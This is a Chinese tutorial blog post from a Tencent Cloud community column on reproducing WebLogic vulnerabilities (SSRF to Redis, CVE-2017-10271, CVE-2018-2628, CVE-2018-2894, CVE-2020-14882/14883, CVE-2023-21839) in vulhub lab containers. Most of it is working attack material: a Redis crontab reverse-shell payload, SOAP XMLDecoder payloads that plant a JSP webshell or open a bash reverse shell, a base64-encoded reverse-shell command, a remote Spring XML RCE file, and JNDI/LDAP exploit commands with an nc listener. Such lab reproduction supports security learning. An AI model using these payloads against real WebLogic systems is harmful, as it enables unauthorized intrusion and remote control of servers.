前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >weblogic漏洞复现

weblogic漏洞复现

原创
作者头像
nNoSuger
发布2024-03-23 20:18:28
1000
发布2024-03-23 20:18:28

简介:利用该漏洞可以发送任意HTTP请求,进而攻击内网中redis、fastcgi等脆弱组件

漏洞环境

https://github.com/vulhub/vulhub

启动环境

docker-compose up -d

启动如下

环境启动

访问http://110.41.41.14:7001/uddiexplorer/,无需登录

SSRF漏洞测试

漏洞url为http://110.41.41.14:7001/uddiexplorer/SearchPublicRegistries.jsp,存在漏洞参数字段为operator

我们使用burpsuite测试该漏洞,访问本地7001端口,端口可访问会得到如下报错

当我们访问不存在的端口,会返回could not connect over错误信息

通过返回的错误消息不同。即可探测内网状态

注入HTTP头,利用Redis反弹shell

weblogic是可以通过%0a%d来注入换行符的,而redis服务也是通过换行符来分隔每条命令,因此我们可以通过该SSRF攻击内网中的redis服务器,通过日志写入方式getshell

如下图:访问内网ip报错内容为如下信息即为连通

发送如下redis命令即可讲反弹shell命令写入日志

代码语言:javascript
复制
set 1 "\n\n\n\n* * * * * root bash -c 'sh -i >& /dev/tcp/evil/21 0>&1'\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save
?
?
http%3a%2f%2f172.18.0.2%3a6379%2ftest%0a%0aset%201%20%22%5cn%5cn%5cn%5cn*%20*%20*%20*%20*%20root%20bash%20-c%20'sh%20-i%20%3e%26%20%2fdev%2ftcp%2f110.41.41.14%2f21%200%3e%261'%5cn%5cn%5cn%5cn%22%0aconfig%20set%20dir%20%2fetc%2f%0aconfig%20set%20dbfilename%20crontab%0asave%0a%0aaaaa
?
注意:
evil处需填写shell接受者IP并且需要进行URL编码
换行符是“\r\n”,也就是“%0D%0A”,所以我们结尾需要添加换行符保证写入任务计划文件的格式不被打乱

复制

NC监听成功反弹shell

/etc/crontab 这个是肯定的

/etc/cron.d/* 将任意文件写到该目录下,效果和crontab相同,格式也要和/etc/crontab相同。漏洞利用这个目录,可以做到不覆盖任何其他文件的情况进行弹shell。

/var/spool/cron/root centos系统下root用户的cron文件

/var/spool/cron/crontabs/root debian系统下root用户的cron文件

CVE-2017-10271(XML Decoder反序列化)

简介

Weblogic的WLS Security组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令

漏洞环境

https://github.com/vulhub/vulhub

启动环境

docker-compose up -d

启动如下

访问http://110.41.41.14:7001/wls-wsat/CoordinatorPortType,出现下图信息表示环境启动成功

我们测试webshell是否能够成功写入

进入docker容器查看成功写入

写入webshell,路径为/bea_wls_internal/test.jsp,注意请求头content-type字段改为text/xml类型

代码语言:javascript
复制
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
     <soapenv:Header>
     <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
     <java>
     <java version="1.4.0" class="java.beans.XMLDecoder">
     <object class="java.io.PrintWriter"> <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string>
     <void method="println">
     <string><![CDATA[<%
        if("023".equals(request.getParameter("pwd"))){
        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
        int a = -1;
        byte[] b = new byte[2048];
        out.print("<pre>");
        while((a=in.read(b))!=-1){
            out.println(new String(b));
        }
        out.print("</pre>");
     }
     %>]]></string>
     </void>
     <void method="close"/>
     </object>
     </java>
     </java>
     </work:WorkContext>
     </soapenv:Header>
     <soapenv:Body/>
     </soapenv:Envelope>

复制

浏览器访问webshell进行命令执行成功

写入反弹shell

代码语言:javascript
复制
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i &gt;&amp; /dev/tcp/10.0.0.1/21 0&gt;&amp;1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

复制

vps监听成功接收shell

CVE-2018-2628(反序列化命令执行)

简介

该漏洞通过t3协议触发,可导致未授权的用户在远程服务器执行任意命令,T3协议简单来说就是快速传输协议

漏洞环境

https://github.com/vulhub/vulhub

启动环境

docker-compose up -d

启动如下

漏洞复现

此漏洞复现需要下载ysoserial和exploit.py脚本,我们使用ysoserial开启JRMP服务

代码语言:javascript
复制
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 2333 CommonsCollections1 'mkdir /tmp/test'
?
工具使用可具体参考以下链接 http://ytming.cn/index.php/2024/03/10/ysoserial工具使用/

复制

运行exploit脚本

代码语言:javascript
复制
python /root/44553.py 110.41.41.14 7001 ysoserial.jar 110.41.41.14 2333 JRMPClient
?
其中参数含义依次是 语言 脚本路径 目标IP 目标端口 ysoserial本地路径 ysoserial服务IP ysoserial服务端口 ysoserial监听服务名称
此脚本运行最好在python2环境下使用,应为python3编码与python2不同,导致出现问题

复制

下图,握手成功表示脚本成功运行

如下图,进入docker可查看成功创建目录

最后

我想试着能不能反弹shell能不能成功,但是不知到什么鬼原因无法复现,有兴趣可以自己下来试一下

应为java语言特性,不能存在重定向符号,所以我们需要使用编码来绕过

代码语言:javascript
复制
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTAuNDEuNDEuMTQvMjEgMD4mMQ==}|{base64,-d}|{bash,-i}

复制

CVE-2018-2894(upload)

简介

Weblogic Web Service Test Page中一处任意文件上传漏洞,Web Service Test Page 在“生产模式”下默认不开启,所以该漏洞有一定限制。

漏洞环境

https://github.com/vulhub/vulhub

启动环境

docker-compose up -d

启动如下

漏洞复现

输入此命令即可查看weblogic用户密码,密码随机,请自行docker查看密码

访问http://110.41.41.14/console界面输入用户名密码进入下图界面开机WEB测试页面

访问http://110.41.41.14:7001/ws_utc/config.do Work Home Dir参数字段替换为如下路径/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css 点击提交即可

点击安全--添加--随便输入,文件为你要上传的脚本文件

打开burp抓包,通过时间戳_文件名.jsp访问http://110.41.41.14:7001/ws_utc/css/config/keystore/1709900051479_10.jsp

浏览器访问输入需要执行的命令即可成功访问

此次文件上传漏洞复现操作是比较简易的,但是此漏洞前提是需要知道后台管理员密码

CVE-2020-14882(未授权+RCE)

简介

此次复现是两个漏洞组合导致远程命令执行,分别是CVE-2020-14882和CVE-2020-14883。

CVE-2020-14882允许未授权的用户绕过管理控制台的权限验证访问后台,CVE-2020-14883允许后台任意用户通过HTTP协议执行任意命令。使用这两个漏洞组成的利用链,可通过一个GET请求在远程Weblogic服务器上以未授权的任意用户身份执行命令。

漏洞环境

https://github.com/vulhub/vulhub

启动环境

docker-compose up -d

启动如下

漏洞复现

通过该/console/css/%252e%252e%252fconsole.portal路径访问直接绕过登录页面,但是仔细发现或者对后台进行页面操作发现很多功能是没有的或者提示权限不足

通过上述可知漏洞危害不大,此时需要利用到第二个漏洞CVE-2020-14883,这个漏洞的利用方式有两种,一是通过com.tangosol.coherence.mvel2.sh.ShellSession,二是通过com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext

直接访问如下URL即可利用第一种方式执行命令:

http://110.41.41.14:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch%20/tmp/success1');")

进入docker即可发现文件创建成功

但是第一种利用方法只能在Weblogic 12.2.1以上利用,因为10.3.6不存在com.tangosol.coherence.mvel2.sh.ShellSession类。

com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext是一种更为通杀的方法,在CVE-2019-2725就被利用,对于所有Weblogic版本都是通杀

那么此方法利用方式首先需要构造一个XML文件,并将其保存在weblogic可以访问到的服务器上,如http://110.41.41.14/rce.xml:

代码语言:javascript
复制
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
   xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
   xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
        <constructor-arg>
          <list>
            <value>bash</value>
            <value>-c</value>
            <value><![CDATA[touch /tmp/success2]]></value>
          </list>
        </constructor-arg>
    </bean>
</beans>

复制

我们vps直接使用python搭建简单http服务

然后通过如下URL,即可让weblogic加载这个xml并执行xml文件中的命令

http://110.41.41.14:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://110.41.41.14:888/rce.xml")

成功创建文件

此方法需要weblogic成功访问到我们搭建的恶意url,所以利用条件是有限制的

CVE-2023-21839(RCE)

简介

CVE-2023-21839 允许远程用户在未经授权的情况下通过 IIOP/T3 进行 JNDI lookup 操作,当 JDK 版本过低或本地存在小工具(javaSerializedData)时,这可能会导致 RCE 漏洞

漏洞环境

https://github.com/vulhub/vulhub

启动环境

docker-compose up -d

启动如下

漏洞复现

https://github.com/DXask88MA/Weblogic-CVE-2023-21839/releases/tag/CVE-2023-21839

https://github.com/WhiteHSBG/JNDIExploit/releases/tag/v1.4

上述URL为此漏洞复现所需工具,此工具需要使用JDK8版本

使用java执行jar包

DNS请求成功响应,说明漏洞存在

反弹shell

首先需要使用JNDIExploit-1.4-SNAPSHOT.jar启动ldap服务

java -jar JNDIExploit-1.4-SNAPSHOT.jar -i 110.41.41.14

nc进行监听

nc -lp 8888

再存在JDK8版本上执行如下命令

java -jar Weblogic-CVE-2023-21839.jar 110.41.41.14:7001 ldap://110.41.41.14:1389/Basic/ReverseShell/110.41.41.14/8888

成功返回shell

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • CVE-2017-10271(XML Decoder反序列化)
  • CVE-2018-2628(反序列化命令执行)
  • CVE-2018-2894(upload)
  • CVE-2020-14882(未授权+RCE)
  • CVE-2023-21839(RCE)
相关产品与服务
容器服务
腾讯云容器服务(Tencent Kubernetes Engine, TKE)基于原生 kubernetes 提供以容器为核心的、高度可扩展的高性能容器管理服务,覆盖 Serverless、边缘计算、分布式云等多种业务部署场景,业内首创单个集群兼容多种计算节点的容器资源管理模式。同时产品作为云原生 Finops 领先布道者,主导开源项目Crane,全面助力客户实现资源优化、成本控制。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档
http://www.vxiaotou.com